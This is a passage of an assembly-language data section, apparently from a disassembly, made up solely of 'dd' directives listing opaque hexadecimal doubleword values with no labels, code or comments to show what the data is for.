		dd 2D260843h, 989F0760h, 7397E83h, 0BD87691Ch, 48C7B0DBh
		dd 4D02E3EFh, 626A0496h, 0CAC3E4h, 88F62EE1h, 0B10A1CB3h
		dd 0C676E13h, 4995F200h, 3C75548h, 5CFE0D77h, 0A480BA46h
		dd 4006B3C1h, 0B7E1FC43h, 0B8BD0091h, 152DF045h, 3C3091E4h
		dd 291F18D5h, 2C889A81h, 3D8659Fh, 0D7639187h, 34932000h
		dd 737CBB6Ah, 71F00F3h,	2AED2B1Ah, 0A812C43Fh, 5040FCBFh
		dd 33D7A55Ah, 4C46001Dh, 0DAC149A9h, 0DB009776h, 0C33F2F37h
		dd 5D762h, 0B7C90BBBh, 7E997AE8h, 3CB61207h, 19606F75h
		dd 32FB4Fh, 8552F196h, 0FE8CCCD7h, 0FD93D00h, 6F16865Fh
		dd 510B00C8h, 35A3C215h, 64006E76h, 0DD4BF439h,	0DECE7Ah
		dd 757DFA0Bh, 0FE0E83F1h, 15578D00h, 0D3E67B04h, 0E35900DEh
		dd 54AAF3E7h, 74E6B37Fh, 93CDFF00h, 6877DD7Bh, 6DB8004Fh
		dd 24C131DEh, 720040A4h, 85162981h, 5AEFFBh, 3D4C860h
		dd 0A20F3F78h, 57DF4B00h, 0F1B6BCA1h, 8AEB0381h, 581568FAh
		dd 0B2119AA8h, 1891D300h, 51F24F0Bh, 0E92158E3h, 0D659E00h
		dd 387027F5h, 5755DE03h, 0D00CD5D9h, 736A5CEh, 3D24950Bh
		dd 0BB1E302Ch, 0FE00E144h, 5253EAB3h, 0F1037D3h, 7EBDDB48h
		dd 1F94716Ah, 0EEC20FB5h, 8C9ABB60h, 7B3163D7h,	16871833h
		dd 88C1044Fh, 0F096F04Dh
		dd 640127CFh, 0C706E81Bh, 0A0C8B92Ah, 8D2E00AEh, 757286A2h
		dd 0C10C79F8h, 28211ED7h, 0D5FF4493h, 0F77ED844h, 1169E611h
		dd 571034CFh, 0A308362Eh, 8489AA86h, 0F1C02C5h,	0C328D1DBh
		dd 40CFF228h, 4B62C0F9h, 2132B729h, 8C54DCB4h, 29150250h
		dd 8311E197h, 2F4511FEh, 57CE518Fh, 6DDC0870h, 86BF1026h
		dd 22A10962h, 0D3108C7Ah, 0B281A60h, 0C68E7E64h, 2976C679h
		dd 20B55B22h, 0E5FCFA67h, 0FB269000h, 527B7899h, 6D4D0EDFh
		dd 70EEF39Ah, 2691C780h, 39003BE4h, 42BA018h, 15B73F7h
		dd 3C658EE6h, 0D4C0B241h, 5E7F3074h, 0C00D1FCh,	4EB0174Ah
		dd 3F75EE4Ch, 28086BAh,	8573C24Fh, 0B27BCB26h, 0D7445700h
		dd 891BF8B0h, 168E68Eh,	9DD1113Dh, 0F01330B3h, 0A500DD3Ah
		dd 292BC1D3h, 4941E0h, 0BFCCB669h, 867C739Ch, 22F43C01h
		dd 19050DFFh, 3E9B57C8h, 94262B5Fh, 0BB1800D5h,	22778216h
		dd 1E563Ch, 2FA89F41h, 1EEB8CCBh, 406FEC85h, 0BD5EB759h
		dd 0FC482E83h, 9A0E6040h, 3C8D0229h, 0C19FEC41h, 0C0B301F4h
		dd 0D05A6452h, 0BC1CD84Eh, 0DE07E16Ch, 6870C7F0h, 0F7BA0Dh
		dd 8E9169FDh, 0B4B007DDh, 387C6602h, 60578362h,	0ACBD5Bh
		dd 42E5BFE0h, 5CB2563Ah, 6C33E20Ah, 0E701905Eh,	0EE038077h
		dd 3F73B7C8h, 0D5872AA9h, 40435F10h, 13703F93h,	8C94C300h
		dd 0E277ED8Fh, 0EBA6016Eh, 2F153E7Dh, 18B3EB44h, 4E9FD6C8h
		dd 0ED1D3373h, 55D84284h, 1DEF309h, 7750E1BCh, 80EB6994h
		dd 9C73C818h, 0C758AFh,	0B8A76D83h, 0BC6ED74Ah,	0E9D84000h
		dd 92A890CCh, 97F64Dh, 9AEEAE0Ch, 1418B2ABh, 40885060h
		dd 0E5AD7Eh, 2655F96Bh,	2E6ADDA5h, 494C1D16h, 8E428800h
		dd 48C1D75Ch, 0D10047D4h, 0AF13F573h, 11010D31h, 6E78A63Fh
		dd 0E02FEF3Dh, 70C3A42h, 10E9201Bh, 33D90E12h, 54837CDEh
		dd 3CB8FA79h, 0F898F4C6h, 4C00A870h, 8D6CD423h,	2E0E5186h
		dd 335F74Eh, 848ABA6Fh,	0E14172A0h, 0DEEB9E00h,	33AA2788h
		dd 619A0097h, 19D68D0Bh, 140084A0h, 93A154FDh, 248001F4h
		dd 3D2637B2h, 0CD4F300Fh, 0CAA9A3E0h, 0D3FBA72h, 2DFE80E0h
		dd 0C06B0A2Ah, 0F4470009h, 0E273B628h, 40009380h, 9EEB4A87h
		dd 7863D0Ah, 0F035DD4Dh, 82F4C0BDh, 3200FA07h, 0C99BDB20h
		dd 4F897Bh, 0BF5D1873h,	5EF87727h, 0E2EC7C00h, 0E16B3372h
		dd 251A00C4h, 775F9C7Fh, 8C1E3A69h, 0B4066CC9h,	20E839h
		dd 0BB6BFCEAh, 1D2C5DFBh, 97508900h, 0A95FF574h, 402800C7h
		dd 0B66ED1CAh, 0C00E851h, 4B08A872h, 0A2A3C8h, 52F52719h
		dd 5F51771Bh, 79A0C504h, 0F8901DC0h, 67CAADh, 0EB9D7DD3h
		dd 0E6E3F450h, 69A20900h, 9ED63E7Bh, 13F2001Dh,	9AA772C8h
		dd 84DC55D7h, 7D00F43Ch, 1F1D6204h, 1F06ABAAh, 0DE4656ECh
		dd 7A920099h, 784BC8D1h, 387DA800h, 8019B68Dh, 32810001h
		dd 0B26A3D2Fh, 9A0037F7h, 8BA7C382h, 21C2FDh, 0C52549E2h
		dd 6C76AF1Fh, 770041F8h, 0FCBB4562h, 39144Bh, 5EB9ED97h
		dd 284C99BEh, 788E8200h, 0FE619B22h, 0A07D018Ch, 0C0185A10h
		dd 9C50F48Dh, 39A6B000h, 0E835914Ah, 206905D1h,	87893C47h
		dd 0C2A5F086h, 0FB005C93h, 0AC8FE643h, 544A29Bh, 0E02CB145h
		dd 37D10FB0h, 83547220h, 787BDBD3h, 0A362C400h,	328D3A39h
		dd 417E99h, 8A8066E4h, 68B852C7h, 0F21F71ECh, 0E012D5ABh
		dd 698F0444h, 0D33565C0h, 61BE0E6Eh, 0F34BABh, 276DA168h
		dd 0FC9003E9h, 0F1EBBF00h, 2BF5B61Dh, 0D5870017h, 7EDA65CAh
		dd 0E1001EEAh, 24C63ABAh, 0A0C0D34h, 480350BEh,	0E8C880F4h
		dd 76BAC06Ah, 0F11C8000h, 4652FAE7h, 1E5018D3h,	1F3934CCh
		dd 69A81800h, 2312119h,	0A2E70035h, 0EDB792A1h,	0CD0371FBh
		dd 93324D5Bh, 2153B10Dh, 90EB84D8h, 0DE9701E0h,	946EA2C4h
		dd 2C55E47Ch, 16786000h, 2ADB04F0h, 0FE0D0E0Eh,	0C1A0E992h
		dd 8E93583Bh, 0C701CAF8h, 0EF0FAE7Ah, 16F85489h, 0AA73DFh
		dd 1ABD2D96h, 0B13340C7h, 0C646C300h, 34E68FCh,	1E9CEA0Dh
		dd 72529D5h, 80AEA205h,	8C37F0F7h, 0D9036302h, 607C2760h
		dd 140E44h, 0C50985B4h,	33C06245h, 6CE46450h, 0E42CF500h
		dd 98FF1E3Dh, 5B050003h, 7338DE3Ah, 0D403B552h,	0EAAAA31Fh
		dd 76908002h, 440E0006h, 0F8F4748Fh, 0F2004D3Ah, 0E2B392DCh
		dd 2EC05BB6h, 39F4E1A9h, 888E01F4h, 138FA111h, 7A6BCC79h
		dd 5B672D00h, 201E2CFAh, 0C6CEA0E1h, 0D74800B0h, 0CA30391Ah
		dd 0B4004273h, 21E3F864h, 2E74B3BFh, 0BC8E41h, 33D0127Fh
		dd 440FDD85h, 0A262C9h,	6FCED734h, 0F0A9005Ah, 90316BEEh
		dd 1A038B4Ah, 0D29F2A8Ch, 24E3814Fh, 4300EC33h,	0FDB96FF0h
		dd 9B00E0FBh, 2550BC3Dh, 4FDA23h, 94EE55C9h, 0D435033Bh
		dd 5FB6F900h, 0DBE3CC51h, 5370ECh, 9BEEAC1Ah, 60036270h
		dd 0D2CECA00h, 6A45EE4h, 97A90F5h, 52DC1CE1h, 0F9582500h
		dd 83F6F857h, 0FC37D000h, 2DC36BD4h, 8099B02Bh,	1D6E3BD8h
		dd 80C05924h, 144C9A2Eh, 0E500B709h, 5EFFB8EAh,	1FBF7BD5h
		dd 193238Ah, 9D281192h,	1E82C08Bh, 0A755807h, 0EA22EDBh
		dd 239CA067h, 2CB54FFh,	0BE5DE23Dh, 8A40AB05h, 5F009FBFh
		dd 0F00A3860h, 1D36D2Fh, 74B2A881h, 0DC40BB5Eh,	0D03FC159h
		dd 0DE00FE18h, 0AA4E6C8Bh, 0F84B0Fh, 9601E7E0h,	88B23220h
		dd 3D68A00h, 0D47BCD3Bh, 0CF79383Dh, 5768FA00h,	86B5B3C9h
		dd 0B48A4C00h, 0EDDF639Fh, 44E5077Dh, 0FD3943Eh, 43362CC0h
		dd 91008705h, 314FB0A5h, 2C6F6h, 6C66BDCCh, 3EA1E270h
		dd 0B348C500h, 3C0C4DDAh, 2B531EEAh, 0B954006Eh, 58C36A94h
		dd 3EAA3900h, 8C630DACh, 0EFC00065h, 0EDCB127h,	7900B728h
		dd 6F962B61h, 1FEB5514h, 0C11BA49Ah, 8B8DABB8h,	6C19F059h
		dd 543DB10Eh, 0BE920040h, 1A66A83h, 0DF521053h,	0D534F69Eh
		dd 6415C041h, 8C497B02h, 0E07F0D5Eh, 59F2D4h, 48CE1E5Dh
		dd 0EE4C8B4h, 3D0CB306h, 3D742F5Eh, 700DA97h, 0C2A488C3h
		dd 0A501CDD3h, 0FC350C6Ah, 0C0F67667h, 0CC9339h, 95685C7h
		dd 25E10D3Dh, 38045507h, 1AB07F44h, 1991076h, 0B48D6543h
		dd 0E0C180C6h, 0FA00EBE2h, 0F945AEC5h, 1E589AAAh, 40D5A7DEh
		dd 0C761D3A5h, 660360CEh, 2EE1793Bh, 3ED8138h, 0B66C60h
		dd 0C12CDAAAh, 0E1E7CA25h, 9455A603h, 0F35B6AB5h, 0E01BB22Ah
		dd 5C3D2Eh, 14B8ED73h, 0E8833A75h, 0E4958607h, 0D7329B7h
		dd 27B3882Fh, 1DE0F1h, 0B6C7BE4Eh, 1C1695E8h, 0B00E678h
		dd 7EFA99CBh, 388B7755h, 0FFB719h, 6CF11E9Ch, 5224063Ch
		dd 13BF3200h, 12497AFCh, 6D9D00F2h, 76449E73h, 0D307F538h
		dd 96093984h, 0A1709350h, 0A80300A3h, 0FB91790Eh, 6700C902h
		dd 3E308487h, 0E8A7C1B6h, 0AC0D00E7h, 5FF35ACEh, 64006A88h
		dd 470BCFBCh, 0F50068Dh, 71ADAB1Bh, 387E3640h, 0C494E022h
		dd 0C6C20540h, 45DC0762h, 2247617Fh, 0B7C058E5h, 2448C0FAh
		dd 0FB200E00h, 8A858080h, 168681FCh, 0FC3CA94h,	13697A24h
		dd 0A8E1E480h, 2500A010h, 0BCD0BA54h, 38D9D169h, 1C4C9ADAh
		dd 6E01CB05h, 0D0228048h, 0DF19E9CAh, 0E5581AB1h, 2E553C30h
		dd 7242A6Fh, 0A02EBD12h, 0FCD14EA0h, 5C3590Fh, 0B926600Eh
		dd 1F39D8F6h, 0FD59BEAh, 0C5E0A42Fh, 31BB18Bh, 486D6600h
		dd 52CB7163h, 67A303F5h, 82377BAFh, 319892D8h, 0C73EB500h
		dd 3C769BA8h, 209F013Ah
		dd 737D0E3Dh, 0BD2CD0B7h, 9535C303h, 805E04B5h,	2149E7h
		dd 8F395B96h, 0BEB60F85h, 0FC1D9200h, 54A65E86h, 0D8D0472h
		dd 8AD45105h, 2DDC0074h, 52EB6446h, 6F9407ABh, 0C99C714Ah
		dd 45B69A00h, 2005159h,	6D535292h, 2B0247Ch, 0FDDA65Ch
		dd 0FE608D67h, 41075F83h, 896CEF9Fh, 8688BF50h,	8CA11D26h
		dd 0DE9CC0CAh, 71BA032Ah, 70591724h, 847CD400h,	0FAB1CCA7h
		dd 0F5D2007Dh, 700E7E65h, 0F2006396h, 0A423728Dh, 0B16756h
		dd 9F923BFDh, 0EC431F36h, 0F4B4FE51h, 0B20E99F2h, 258B137Bh
		dd 0A403EBBBh, 0C85A64DAh, 9EFCC8h, 6552E135h, 0EB07BB80h
		dd 3A00D078h, 0EEBA4A2Eh, 0FED2ADA1h, 6B2B00CDh, 0AB88A3B4h
		dd 0B0009E01h, 0A50EAA76h, 0BB4A61h, 55290D30h,	799C8BBEh
		dd 38A3F80Eh, 0A69DE195h, 0E5D8D736h, 0DC91717h, 0E10D00B5h
		dd 7FDD8C96h, 99B1AE01h, 0EE65C74Eh, 2C61CADCh,	8E1CFh
		dd 0FF0280AAh, 1302307Ch, 0C3C4C4Ah, 0F7A880A4h, 479A2B9h
		dd 0C6BD9199h, 0ABECC0E0h, 857296AFh, 0A8F8D707h, 8CA1E3D1h
		dd 0B840A02Bh, 0E4B32353h, 0DCF00085h, 3E889695h, 6802BA0Bh
		dd 282D39C7h, 0AB44608Bh, 757700E9h, 0BA3C9FE4h, 1700B659h
		dd 0A56C490Dh, 0F45F9D6h, 28AFC8E6h, 1C67A7h, 0EF49C783h
		dd 0DC81AA00h, 13F2E61Eh, 0BF8E005Eh, 85B5334Fh, 0B3005164h
		dd 5DDCC2CAh, 0EB520A27h, 11FF473h, 82EAC0EFh, 0E0FD42E5h
		dd 0D16A318h, 3FED2690h, 0C71E8974h, 0C120468Dh, 0D901A0AFh
		dd 0D209B6E4h, 54281087h, 2F522B00h, 0D7F0864Eh, 2DAF70FDh
		dd 8D07F47Bh, 0DC67B0DAh, 48A66EF1h, 1B337F0h, 0F9BF1F79h
		dd 0F844038Dh, 30039AEEh, 88C25F9Dh, 0AD6CB825h, 8499009Ch
		dd 0FB2BBFB0h, 3200BBC7h, 2F4FDDE7h, 9AD355h, 8FEB9C82h
		dd 58C71F5Eh, 6C001B7Eh, 0A98E8337h, 50DEB1h, 541757C2h
		dd 0D09472C8h, 0FC007C7Eh, 1EB7CEA0h, 0C40988h,	6723D38Ah
		dd 5155F510h, 64963A00h, 7A5A02ABh, 5E3800B0h, 0F51383A9h
		dd 82009B5Ch, 42C434FCh, 0FFFE269h, 2329D64Ch, 0CDF304E0h
		dd 4F13578Bh, 0B0000B8Fh, 322E3EE8h, 67A91676h,	0B72802B0h
		dd 0B860F4F6h, 3B00E787h, 894616DBh, 125AF25Eh,	848218h
		dd 0EA5440A4h, 0E400D4C6h, 127F2172h, 12518548h, 0C1174466h
		dd 0F534E000h, 4F0C20B8h, 42E44B00h, 1AB57E55h,	0E67401F5h
		dd 62766E88h, 2CC9FC66h, 9D25800h, 48E2930Eh, 0F5E8A2C8h
		dd 0CFA52CE0h, 0DA241000h, 0DEFFB54Fh, 640728B9h, 560A02BCh
		dd 93A42690h, 0E0A768E8h, 60389B00h, 35A00F6Ch,	3C1A1C2Bh
		dd 3F2EC0F4h, 0EBDB136Fh, 6C3B8E00h, 1FC94AA8h,	0EC0C01D0h
		dd 7325D7CDh, 22F1E48Ah, 964FB60Eh, 0C2479EE2h,	67D0E7DBh
		dd 0E674F757h, 1E201818h, 0EF4FA8CAh, 8A82FB00h, 0EA7CAA94h
		dd 5461C16Ch, 0FD53EE47h, 380C2072h, 0C970B098h, 5A7C3503h
		dd 0C0A11C49h, 0FE41F321h, 0A46E05FFh, 2593DAFh, 144DFEA6h
		dd 0E01E6C46h, 69408643h, 0A694709Dh, 955F1DEBh, 5B2680F0h
		dd 2355D044h, 0EE87CC00h, 0FBD596FEh, 0FF191F36h, 8B74C315h
		dd 0C08DB45Ch, 0E4122312h, 8092092Dh, 394258C0h, 5CB97B44h
		dd 0A11E9C56h, 7C2C40FAh, 8558E748h, 69E6C700h,	57BAAA5Ch
		dd 0E5881331h, 0EB7C01FEh, 0C809B1F2h, 5C00CF74h, 621CE6EDh
		dd 0FA633E0h, 0B0E49DA9h, 0A12BEB20h, 4A7203F6h, 0B475D200h
		dd 51A9E294h, 722E0054h, 1143E710h, 280C5B09h, 0A0D769B8h
		dd 0BA1902F0h, 555376FEh, 8A0D0040h, 0D05CE21Eh, 0C39B2787h
		dd 28FAF801h, 33FBFF40h, 0F6620411h, 0C01B997Ah, 1F313E8Ch
		dd 0D8286000h, 68B3872Fh, 48CDF079h, 984091C5h,	0BC5F3BFAh
		dd 0D1045E00h, 1AA07663h, 0B82CBE28h, 14646100h, 0BD330205h
		dd 936500E1h, 5DA17CB6h, 29006926h, 84B3D56Ah, 168F0C5h
		dd 0B9B7F2B1h, 81E7AE61h, 1F65719Ah, 3360694Fh,	98D207DBh
		dd 30803B78h, 4C81B1EDh, 7E20A600h, 3CCF8782h, 0BB073EE8h
		dd 2879A007h, 6D8A6146h, 953E8ECh, 0CA8E8600h, 920EE390h
		dd 0FAC70705h, 80AF522Fh, 5751759Eh, 66778400h,	0BB88C3D9h
		dd 0E0F800D1h, 0EC4ADE2Bh, 992CC711h, 31000090h, 0A6625E96h
		dd 21F50097h, 36221BE8h, 2C05B8EBh, 2EC4D881h, 0BB5AE000h
		dd 72F1751h, 0C9B26525h, 0CC39B5EFh, 557B7A28h,	0ABB0CA0Bh
		dd 3440BCFh, 0C8B10E9Ah, 903D9079h, 92542CF4h, 0C07A8004h
		dd 0A803625Fh, 0C8E249h, 2106BE87h, 0D2328Dh, 3EDAD08h
		dd 982CD91Dh, 0BCE41401h, 0C51CE53h, 0C1336F0h,	5870A560h
		dd 1F77AC10h, 1C224D0Eh, 0D96D612Ah, 782435DBh,	0D2C1F80Dh
		dd 7E3D03F9h, 699841E3h, 73079828h, 0BDA92902h,	96188FA0h
		dd 8BEA0103h, 5C80A5FBh, 631070E2h, 0B284Ch, 0A99A4A9h
		dd 71139Dh, 56FF7A62h, 0CE7E34Dh, 9EEC31Ch, 6B453280h
		dd 738DF3AAh, 0D3FB0087h, 0D6502A4Fh, 0E3005E7Fh, 7606C36Dh
		dd 5ACEEF2h, 0D028547Bh, 0C064D72Ah, 4EE3F06Eh,	0F3004CFAh
		dd 5C6FC485h, 3AD21Bh, 10E49C4Bh, 0E6B51D9Fh, 1118FE71h
		dd 4F09AE77h, 781E0934h, 3480C5F8h, 0DE1965A9h,	1D0D3D00h
		dd 9C94CCD5h, 4D32002Dh, 2F13408Ah, 460025ADh, 7670C23Dh
		dd 0D2E7A6h, 5977941Ch,	0A05B7550h, 1F24024Ch, 11A0D1B8h
		dd 26BAABh, 152E2CD8h, 40E27Ch,	9816D3E5h, 79B7F466h, 9FC98A3Fh
		dd 0F540EC25h, 0E2999390h, 0D36E0001h, 4F9C0EE0h, 1C01D18Ch
		dd 95DD828Ah, 9FF7518Dh, 73333170h, 0FC2700F5h,	0C517EFA5h
		dd 0FF001308h, 18C229A9h, 24F22BD6h, 4F660Ch, 5EA3D837h
		dd 43002FBEh, 55F9BC4Fh, 65495BFh, 0B374E28Ch, 6613C083h
		dd 3438BD89h, 5D993B12h, 0A7540603h, 70C3F8CCh,	132965D0h
		dd 5AA5F403h, 0C06C5FAEh, 0FDF1Dh, 4D1B2A24h, 0B33A9280h
		dd 5C5B5318h, 3473520h,	79AB9CCEh, 9BA3F06Dh, 80FB483Fh
		dd 54D26231h, 4FD53C2h,	4287EF9h, 0A494C14Fh, 0C00A2AB9h
		dd 7328D896h, 0BE758C00h, 78461583h, 0C6900711h, 0D00F12B6h
		dd 0B8707966h, 8297711Fh, 7DC1511Fh, 2D0D1507h,	0C081EBDBh
		dd 9B5DCCh, 7771E0E8h, 0C4F1C524h, 0D9B0A373h, 0C9E14C00h
		dd 0DFBDB73Bh, 3E736Dh,	0E8B1AE82h, 3F0976D9h, 3D298703h
		dd 3A229Bh, 804FD038h, 0A13C0F6Ah, 0A81C7100h, 5708E705h
		dd 0A2A50010h, 9440F018h, 0BF67AFBh, 0EDA30D03h, 0B04BFDA7h
		dd 7EB55Fh, 7616F00Ah, 7006EBCBh, 0D757F8C3h, 1DF3987Ah
		dd 61810033h, 890D6494h, 5800192Bh, 5AC1ABA2h, 605F4h
		dd 63D5CD28h, 507FC2A6h, 0D42CE200h, 7908E5BDh,	34810B9Ah
		dd 0B801E1BAh, 0C6445476h, 0CA047CF2h, 0B3D323F6h, 0D64B1080h
		dd 58213AE9h, 1DA31680h, 32373F45h, 43652300h, 0E12F7BF1h
		dd 38D40068h, 2C471815h, 3605511Dh, 2A06BD5Fh, 0DC875CC0h
		dd 68650012h, 0D0B5EC62h, 9C07FFA4h, 0CFF59EC3h, 51C0D395h
		dd 0E3AB232h, 44BEDCE7h, 0F869483h, 0E15963A9h,	872880D8h
		dd 0D44C0217h, 2CA63016h, 6C82A060h, 22B0ABECh,	5D9F7618h
		dd 4CB918h, 0CF3EDFE3h,	0E1E46108h, 19338201h, 4E161848h
		dd 984F37E4h, 0D8FB4C65h, 6800EE38h, 293F19DCh,	2E77CA17h
		dd 8E03E278h, 38432BC0h, 655A980Dh, 53EF0036h, 4A02CAE5h
		dd 3C005C98h, 0C674913Bh, 8439A7h, 6DFFFB4h, 1A0242E6h
		dd 649EEB01h, 189791C5h, 0EAF49D4h, 88591258h, 6760F4AFh
		dd 7D3961CDh
		dd 63E95207h, 5AE07C5Ch, 250F337h, 0C9FE57E6h, 6452979Fh
		dd 0DEC20E03h, 80AE1F02h, 3E4421FFh, 3981406Fh,	0CE7B2531h
		dd 0D836C526h, 8C00C9D9h, 488011A8h, 0E54A48Bh,	0FCB1EA3Fh
		dd 0E5A9F480h, 0B0264EFBh, 0B3070CCDh, 1460D09Bh, 25B835A1h
		dd 0B80078CEh, 0C9238CD2h, 0CDD87001h, 77137F8Dh, 76496D0h
		dd 0FE5D3757h, 0F9D501B2h, 55C8EB36h, 10243A2Dh, 6A023CE3h
		dd 0E84EC930h, 59226DF4h, 0EC054C9Bh, 1D5EF2D8h, 4DCB85E0h
		dd 66B000FBh, 0C66D7D78h, 6807C200h, 677ECA13h,	69380E89h
		dd 9B27A3BCh, 2E0870DFh, 52028A4Fh, 29D4B3A9h, 4C604864h
		dd 74DB00B0h, 51D1FDF6h, 2E07EF9Bh, 72463091h, 0F0543C40h
		dd 713F001Eh, 2299B1AFh, 961C4EBCh, 0DE807C57h,	0A5E408D0h
		dd 0FF72D3h, 0F67F2F07h, 0C05546D4h, 5699C00h, 84F54C36h
		dd 0CFC60938h, 6C801FECh, 55124074h, 148AF800h,	0D53A296Bh
		dd 8DAF0004h, 1FF02F50h, 4B4B2ABh, 0C5F6003Eh, 90FEF28Ah
		dd 0A1DB00DFh, 0A9354F09h, 340040A2h, 281B3DD6h, 7C209248h
		dd 0EA9D1E5Eh, 0A3D633h, 0C3FF3037h, 73265F37h,	0B0001CF2h
		dd 8A324D2Dh, 0E01E2C16h, 4A7F0FB0h, 84435EA9h,	263E1BB8h
		dd 6930CE26h, 0CC404D00h, 0EE684B9h, 96FF33A1h,	23572AA0h
		dd 0F43DF643h, 971A80AEh, 4FA1E79Ah, 0BA0E007Ch, 44829188h
		dd 1900631Bh, 0DDB2F310h, 543C1290h, 279A01Ch, 6078B1BFh
		dd 88E49D91h, 0B70033E6h, 0B008F757h, 58BA22DDh, 6000B141h
		dd 66CCA5A7h, 8701B5A3h, 6CEB7FA8h, 0E1C06328h,	4C610012h
		dd 0FB6B8907h, 0A4016F33h, 10C45724h, 0A4307770h, 0F23C1FD1h
		dd 0A76100C3h, 35CC3DAAh, 834B9A1Ch, 0B3BC6740h, 0E4728BFh
		dd 5D5955ECh, 0F7A0CA40h, 94C07AC4h, 1CF9B21Bh,	0A64B0375h
		dd 3FE9E761h, 8F990DB8h, 905F5300h, 0C83BEEACh,	0AFDA1C68h
		dd 0EBC70191h, 6CBD8101h, 0D8980060h, 1707A5ACh, 0ABBE0020h
		dd 0E66FC7D6h, 2400F1A4h, 0A6F36A3Dh, 0F27EAD82h, 236B2EFEh
		dd 47DD01CBh, 0C0CF20DAh, 97FC3413h, 5C74EE38h,	762200E2h
		dd 29ECF2B7h, 34EF00A1h, 0C18BA816h, 0FE001E1Ah, 407897B4h
		dd 3AEC28h, 73DA34DEh, 6DD2999Bh, 8EEE800h, 0BE4AB9A3h
		dd 0F2E23831h, 3CC81C00h, 537C19C1h, 270DC318h,	0D41D74h
		dd 0DD1CC28Ah, 749866E6h, 0C426E100h, 0A19C37A9h, 0D776027Bh
		dd 0CB50ADEBh, 0CC0B2861h, 0DDEE2ED1h, 0B3FD3C00h, 8098E3C6h
		dd 9BB2008Ch, 2B76DE46h, 303E724Ch, 177D8040h, 31C5A23Fh
		dd 2D95004Dh, 0D9548A49h, 8E00586Dh, 0C9B9C2Bh,	95AC2F52h
		dd 0A628E090h, 4ECC9A07h, 0D7D714B7h, 0F8732752h, 972100CCh
		dd 0A6527A9Fh, 0F700F9EBh, 4C2F7089h, 2E993FD3h, 58886B49h
		dd 9D1F4278h, 6F00BBBCh, 0EFF50B2Fh, 1B8E0107h,	0D87F12CBh
		dd 13E8C74Fh, 4648BBC4h, 39981674h, 0E3C06C20h,	498B189Ah
		dd 0DDB8883Fh, 1700FB98h, 9F65ACB6h, 1814CCFh, 0D9A2949Ah
		dd 0E0B75BF3h, 0EB009BCDh, 4223CE41h, 0E1680Fh,	0A4673533h
		dd 294A8F7Bh, 7AF99202h, 404F30F5h, 9D9AC13h, 1615D11Ch
		dd 0E4674C00h, 4D072705h, 1E2C368Fh, 39AF1260h,	56A600B4h
		dd 3F0E15F6h, 7B096D0Dh, 80DDE2E3h, 0B604C390h,	0FA13008Dh
		dd 526E8721h, 3F011CB8h, 2B127718h, 8428625Ah, 8BB2BB00h
		dd 0C3B4EC09h, 5FA32D00h, 0C9EA3C8Fh, 0F14B184Ah, 0AB0520D8h
		dd 0D60C8000h, 8E4D3D4Fh, 676E1C0Fh, 9C38C035h,	17AAF05h
		dd 99D55E00h, 0DF220C97h, 0F045505Bh, 2240069h,	0D8FA3D7Fh
		dd 93269E56h, 0B83C0A9h, 0CD159545h, 2454A8E3h,	2E8A7814h
		dd 2BCED0Bh, 0CAF8D1D4h, 6485E4E0h, 0E8DE5200h,	5680D0C9h
		dd 3BF2013Eh, 4793B398h, 6E8730F9h, 629092Ch, 3A7DDC00h
		dd 0CABED1h, 0A8A1E207h, 145EF906h, 0BA584900h,	4B7D377Eh
		dd 6F9E0012h, 819476C9h, 25906664h, 62313A02h, 50C8E6C3h
		dd 989878h, 1B93CBFFh, 4387DBA4h, 8049B138h, 88992895h
		dd 0E6C163h, 0FB0780D4h, 395A9FB0h, 80BE183Bh, 9E305F59h
		dd 0BCEBAEh, 2CB75D97h,	0B892D079h, 9F5A307h, 0CDB038E6h
		dd 0B1C276h, 0D1A4AF27h, 68E2EA31h, 3804939h, 9B630CF5h
		dd 0C4101E72h, 2FF100B8h, 0BB75F828h, 0A00B3C28h, 0C0417F07h
		dd 0F457CBDAh, 1042D6h,	6EDC67CEh, 87D09701h, 0DDF8E800h
		dd 998FEB81h, 4EF000DBh, 1EEA8388h, 0BBF46838h,	7DBF6301h
		dd 5B788271h, 0A391D0h,	87A98EE6h, 75E27783h, 0F56DB900h
		dd 2E822A7Ch, 8F460096h, 0DAF3E59Eh, 0E91E646Ah, 3406FAEh
		dd 0A194595Fh, 42E81C74h, 0ACFC40EFh, 820118CDh, 26956400h
		dd 0E57CCBC1h, 57230060h, 6B1D8AC7h, 0F51629D5h, 0FC0026E3h
		dd 437E99AAh, 7DB7076Dh, 0E064553Eh, 667A6A11h,	699FC507h
		dd 92106F71h, 795D988h,	0D02336D3h, 45783082h, 0DD7A0AE3h
		dd 0D1D42028h, 2D088900h, 62E6FD06h, 2288003Bh,	2EC29A7Eh
		dd 9091130h, 0F92BEDEh,	646E0AAh, 28990F5Fh, 3F702A4h
		dd 407B9D20h, 0B7E8D351h, 49004A5Ch, 74DE9334h,	7768659Ch
		dd 844438A4h, 0C8F7DF00h, 0E10698Bh, 0E627FF00h, 0E74D9858h
		dd 0D263006Bh, 0E424DD31h, 0D900C34Ah, 0B206D5BFh, 395D38A6h
		dd 0F2AA08h, 49C68BE3h,	0FCF3C25Fh, 4E125907h, 91803DE5h
		dd 8347A1h, 90B19D2Dh, 0B06C86F6h, 4B993E00h, 0C97C8E0Ch
		dd 603B00A6h, 178D0198h, 0DD004A7Dh, 0B3B5FF73h, 0F0BC4C14h
		dd 35B7840h, 907D09E7h,	0A90351B7h, 1A92728Ch, 0BD3DA027h
		dd 0D4780CF2h, 0D0211E9Fh, 90043400h, 3C5E727Ah, 0B3440064h
		dd 9FCC4CEDh, 970F3A3Dh, 0CFB7079Ch, 0AB8E80EEh, 0F4D2F5h
		dd 3A170286h, 96EA095Eh, 0A072A7Bh, 582C3CD3h, 0A8005D4h
		dd 3F98B71Ah, 0BFBFCF95h, 549F6483h, 0F5993109h, 0C012C4E8h
		dd 0A8274905h, 4C40ABD7h, 5A9A7C08h, 9C5E0079h,	8DED8758h
		dd 8558A59Fh, 234A1EA7h, 0AB040FC4h, 508BAEC0h,	0BB1D006Fh
		dd 9111845Bh, 3F01A2F0h, 2E418E28h, 0C0FB6E9Dh,	60732Fh
		dd 0B56D27C8h, 85C214E8h, 9911A21Fh, 40AB6680h,	3C3DBDFDh
		dd 6D38B4CEh, 0FBAC54h,	0D0837FD7h, 0B130784Fh,	35A84001h
		dd 32B44B26h, 0F06D68D4h, 71DF031Dh, 918DFE27h,	0FADD87F0h
		dd 0E9D89A60h, 0FE475326h, 3557792h, 0E8240977h, 20073665h
		dd 0BC46673Bh, 88A8BE10h, 0C08F7BDAh, 0E2903F88h, 749DD59h
		dd 0BC4D0B04h, 8F8941h,	0F6A8C71Ah, 7FA00D2h, 0D94CC05Fh
